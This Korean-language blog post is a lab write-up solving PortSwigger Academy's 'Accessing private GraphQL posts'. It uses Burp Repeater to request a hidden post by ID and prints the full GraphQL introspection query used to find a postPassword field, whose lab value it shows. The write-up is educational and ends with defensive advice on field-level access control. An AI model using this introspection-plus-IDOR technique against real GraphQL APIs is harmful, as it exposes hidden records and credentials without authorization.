포스트

GraphQL 실습(1) - Accessing private GraphQL posts (PortSwigger Academy)

GraphQL introspection과 IDOR를 이용해 숨겨진 게시글과 비밀번호를 탈취하는 과정

GraphQL 실습(1) - Accessing private GraphQL posts (PortSwigger Academy)

Lab: Accessing private GraphQL posts

Lab Link: Accessing private GraphQL posts


핵심 포인트와 취약점 개념

이 Lab은 GraphQL에서의 기본적인 취약점 조합을 다룬다.

  • Introspection을 통한 Schema 노출
  • IDOR을 통한 숨겨진 데이터 접근
  • 민감 정보 필드 노출

우리의 목표는 GraphQL의 취약점들을 조합해서 Secret Password를 찾는것 이다.


공격 흐름

1. GraphQL 사용 확인 및 구조 분석

블로그 페이지에 접속 하게 되면 여러가지 게시글이 보인다.

설명

우선 최대한 많은 HTTP history를 확보하기 위해 게시글들과 사이트를 돌아다녀준다.

설명

이후에 Burp에 기록된 URL들을 확인 해보면,

  • /graphql/v1 Endpoint가 존재한다는 것을 확인할 수 있고
  • /post?postId=가 1부터 5까지 존재하는데 3이 누락된걸 확인할 수 있다.

모든 게시글을 전부 확인했기 때문에 누락이 된 건 아니라는 확신이 있었고,
숨겨진 게시글이 id=3을 사용하며, 의도적으로 숨겨져있다는 추론을 할 수 있었다.


2. Burp Repeater로 숨겨진 게시글 확인

사이트 탐색 과정에서 발견된 POST /graphql/v1 요청을 Repeater로 보내준다.

설명

하단에 GraphQL query가 JSON 형태로 나와있는걸 확인할 수 있다.
상단에 GraphQL을 클릭해서 조회 해보면 QueryVariables를 수정할 수 있게 되어있다.

설명

해당 Variables를 우리가 찾은 "id":3으로 변경해주자.

설명

이후 요청을 보내보면 아래와 같은 응답이 돌아온다.

설명

숨겨진 게시글이지만 기존과 동일한 필드와 텍스트만 반환되는 것을 확인할 수 있다. 따라서 숨겨진 게시글 외에 다른 필드값을 찾아야 한다.


3. Introspection을 통한 Schema 조회

PortSwigger Academy에서는 예시 Full Introspection query를 제공해준다.

   #Full introspection query

    query IntrospectionQuery {
        __schema {
            queryType {
                name
            }
            mutationType {
                name
            }
            subscriptionType {
                name
            }
            types {
             ...FullType
            }
            directives {
                name
                description
                args {
                    ...InputValue
            }
            onOperation  #Often needs to be deleted to run query
            onFragment   #Often needs to be deleted to run query
            onField      #Often needs to be deleted to run query
            }
        }
    }

    fragment FullType on __Type {
        kind
        name
        description
        fields(includeDeprecated: true) {
            name
            description
            args {
                ...InputValue
            }
            type {
                ...TypeRef
            }
            isDeprecated
            deprecationReason
        }
        inputFields {
            ...InputValue
        }
        interfaces {
            ...TypeRef
        }
        enumValues(includeDeprecated: true) {
            name
            description
            isDeprecated
            deprecationReason
        }
        possibleTypes {
            ...TypeRef
        }
    }

    fragment InputValue on __InputValue {
        name
        description
        type {
            ...TypeRef
        }
        defaultValue
    }

    fragment TypeRef on __Type {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
                ofType {
                    kind
                    name
                }
            }
        }
    }

중간에 onOperation, onFragment, onField를 query 구조에서 허용하지 않는 Endpoint가 있어, 해당 query 가 돌아가지않는다면 위 코드를 제거 하면 된다.

이 코드를 Burp Repeater → GraphQL에 적용 해주자.

설명

요청

설명

응답

서버에서 Schema를 응답한걸 확인할 수 있다.
아랫쪽에 잘 찾아보면, postPassword라는 field가 나오는데,
해당 필드가 어떤 값을 반환하는지 확인하기 위해 Query에 추가한다.

설명

postPassword 필드 반환

설명

Query에 postPassword 필드 추가 및 숨겨진 Variables "id":3 설정

해당 Request를 보내게 되면 응답에 postPassword 값을 반환하는것을 확인할 수 있다.

1
"postPassword": "7ga3glndrq26z9hm6dhf34cvb47lh111"
설명

해당 값을 제출 해주면 lab이 마무리 된다.


정리

이 lab은 GraphQL에서 흔하게 발생하는 취약점 흐름을 보여준다.

  • Introspection → Schema 정보 노출
  • IDOR → 숨겨진 리소스 접근, 그리고
  • 민감 필드 노출 → 비밀번호 탈취

Introspection은 GraphQL 서버의 구조(Schema)를 질의할 수 있는 기능으로,
공격자 입장에서는 API의 설계도를 그대로 획득하는 것과 같다.

현실 환경에서는 Introspection이 비활성화되는 경우가 많지만, 잘못된 설정이나 개발 편의성 때문에 그대로 노출되는 사례도 존재한다.

또한, Introspection이 비활성화되어 있더라도 Suggestions 등의 기능을 통해 Schema를 유추할 수 있기 때문에 GraphQL API는 반드시 필드 단위 접근제어를 고려해야 한다.

이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.